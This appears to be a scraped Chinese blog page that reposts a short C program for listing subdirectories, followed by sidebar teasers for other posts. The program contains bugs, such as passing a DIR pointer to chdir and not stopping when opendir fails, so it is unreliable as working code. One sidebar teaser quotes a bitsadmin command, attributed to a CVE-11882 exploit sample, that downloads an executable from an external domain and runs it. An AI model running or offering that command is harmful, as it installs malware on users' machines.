文档章节

查看指定目录下的所有目录文件

xueyi28
 xueyi28
发布于 2016/05/22 15:57
字数 88
阅读 7
收藏 0
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/stat.h>
#include <errno.h>
void printdir(char *dir) {
struct dirent *entry;
DIR *dp;
struct stat statbuf;
dp = opendir(dir);
if (dp == NULL) {
perror("opendir error");
}
chdir(dp);
while((entry = readdir(dp)) != NULL) {
if (entry->d_type == 4 && strcmp(entry->d_name, ".") != 0 && strcmp(entry->d_name, "..") != 0) {
printf("%s\n", entry->d_name);
}
}
}
int main(int argc, char* argv[])
{
char *dir = ".";
if (argc == 2) {
dir = argv[1];
printdir(dir);
}


return 0;
}

本文转载自:http://blog.csdn.net/kangqi7000/article/details/8201661

共有 人打赏支持
xueyi28
粉丝 7
博文 92
码字总数 33680
作品 0
南宁
2.6相对和绝对路径;2.7CD命令;2.8创建和删除目录mkdir rmdir;2.9rm命令

2.6 相对和绝对路径 1. 查看当前在哪个目录下:pwd [root@hao-01 ~]# pwd /root (当前在root目录,root目录是在/(根)下的目录!) 绝对路径:从/(根),开始的路径(不管当前在哪个目录下,都可以...

主内安详
2017/12/18
0
0
Linux系统下查看目录大小(复制别人的,还没有实践)

我们有个系统每天要下载数据,为了检查下载数据是否正常,需要查看下载数据目录大小,因为每天的数据都差不多,如果变化太大就说明不正常。查看目录大小的命令是du(当然也可以查看文件大小)...

萧小蚁
2015/10/07
125
0
suse linux 常用命令

一、列出文件 ls -la 给出当前目录下所有文件的一个长列表,包括以句点开头的“隐藏”文件 ls a* 列出当前目录下以字母a开头的所有文件 ls -l *.doc 给出当前目录下以.doc结尾的所有文件 二、...

phoenics
2009/12/14
0
0
2.14文件或目录权限chmod;2.15更改所有者和所属组chown;2.16umask;2.17

2.14 文件或目录权限chmod chmod :更改文件或目录的权限 (chmod=change mode) 权限:-rw--r-r-- drwxr-xr-x -:普通文件格式, d:目录格式 r(4) :可读(权限) w(2) :可写(权限) ...

主内安详
2017/12/20
0
0
linux基础概念

一、关闭系统防火墙 永久性生效重启后不会复原 开启chkconfig iptables on 关闭chkconfig iptables off 即时生效重启后复原 开启service iptables start 关闭service iptables stop 关闭Sel...

绝泊九川
2017/07/07
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
17分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
30分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
31分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
43分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部